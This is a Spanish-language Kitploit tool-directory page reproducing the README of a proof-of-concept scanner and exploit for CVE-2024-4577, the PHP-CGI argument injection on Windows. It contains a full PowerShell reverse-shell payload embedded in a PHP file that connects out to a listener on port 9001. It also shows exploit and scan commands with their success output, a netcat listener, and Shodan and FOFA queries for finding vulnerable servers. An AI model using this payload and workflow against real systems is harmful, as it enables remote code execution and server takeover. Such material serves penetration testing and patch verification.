Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-4577-RCE — PoC - Inyección de argumentos en PHP CGI CVE-2024-4577 (Escáner y Exploit) | Kitploit
Herramientas/GitHubGitHub/l0n3m4n/cve-2024-4577-rce
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubl0n3m4n/cve-2024-4577-rce

CVE-2024-4577-RCE

PoC - Inyección de argumentos en PHP CGI CVE-2024-4577 (Escáner y Exploit)

Ver Repositorio
71hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Inyección de Argumentos en PHP CGI (CVE-2024-4577) RCE

Facebook X Medium Python Kali

📜 Descripción

En las versiones de PHP 8.1.* anteriores a 8.1.29, 8.2.* anteriores a 8.2.20 y 8.3.* anteriores a 8.3.8, al usar Apache y PHP-CGI en Windows, si el sistema está configurado para usar ciertas páginas de códigos, Windows puede utilizar el comportamiento "Best-Fit" para reemplazar caracteres en la línea de comandos proporcionada a las funciones de la API Win32. El módulo PHP CGI puede malinterpretar esos caracteres como opciones de PHP, lo que podría permitir a un usuario malintencionado pasar opciones al binario de PHP que se está ejecutando y, de este modo, revelar el código fuente de los scripts, ejecutar código PHP arbitrario en el servidor, etc.

"XAMPP es vulnerable en una configuración predeterminada, y podemos apuntar al endpoint /php-cgi/php-cgi.exe. Para apuntar a un endpoint .php explícito (por ejemplo, /index.php), el servidor debe estar configurado para ejecutar scripts PHP en modo CGI."

📚 Tabla de contenidos

  • 📜 Descripción
  • 🛠️ Instalación
  • ⚙️ Uso
  • 💁 Referencias

🛠️ Instalación

root@kitploit:~
$ git clone https://github.com/l0n3m4n/CVE-2024-4577-RCE.git
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt 

⚙️ Uso

php-cge

🤖 Estableciendo una reverse shell

PHP Payload

[!NOTE] Esta herramienta demuestra ataques y técnicas realistas (TTPs). Sin embargo, esta muestra de payload específica no funciona en este escenario. Modifique el shell.php para obtener un payload totalmente funcional.

root@kitploit:~
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";

exec($payload);
?>
 

🖥️ Escaneando servidor

root@kitploit:~
$ python3 CVE-2024-4577.py -s -t https://target.com/  
                                                   
 _____ _____ _____ _____ _____ _____                 _____       _         _   
|  _  |  |  |  _  |     |   __|     |___ ___ ___ ___|     |___  |_|___ ___| |_ 
|   __|     |   __|   --|  |  |-   -|___| .'|  _| . |-   -|   | | | -_|  _|  _|
|__|  |__|__|__|  |_____|_____|_____|   |__,|_| |_  |_____|_|_|_| |___|___|_|  
                                                |___|         |___|            
        Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner                      
    
[+] Target https://target.com is vulnerable to CVE-2024-4577

🎯 Explotando servidor vulnerable

root@kitploit:~
$ python3 CVE-2024-4577.py -t http://example.com -e -p rev_shell.php
                                                   
 _____ _____ _____ _____ _____ _____                 _____       _         _   
|  _  |  |  |  _  |     |   __|     |___ ___ ___ ___|     |___  |_|___ ___| |_ 
|   __|     |   __|   --|  |  |-   -|___| .'|  _| . |-   -|   | | | -_|  _|  _|
|__|  |__|__|__|  |_____|_____|_____|   |__,|_| |_  |_____|_|_|_| |___|___|_|  
                                                |___|         |___|            
        Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner  

[+] Exploit successful!

👨🏻‍💻 Listener de Netcat

root@kitploit:~
$ nc -lvnp 9001

🔍 Descubriendo host vulnerable

  • Shodan: server: PHP 8.1, server: PHP 8.2, server: PHP 8.3
  • FOFA: protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"

💁 Referencias

  • https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577
  • https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2024/CVE-2024-4577.yaml
  • http://www.openwall.com/lists/oss-security/2024/06/07/1
  • https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.rb
  • https://www.php.net/ChangeLog-8.php#8.1.29
  • https://www.php.net/ChangeLog-8.php#8.2.20
  • https://www.php.net/ChangeLog-8.php#8.3.8

⚠️ Descargo de responsabilidad

Esta herramienta se proporciona únicamente con fines educativos y de investigación. El creador no asume ninguna responsabilidad por el mal uso o los daños causados por la herramienta. crear un issue

Descargar herramienta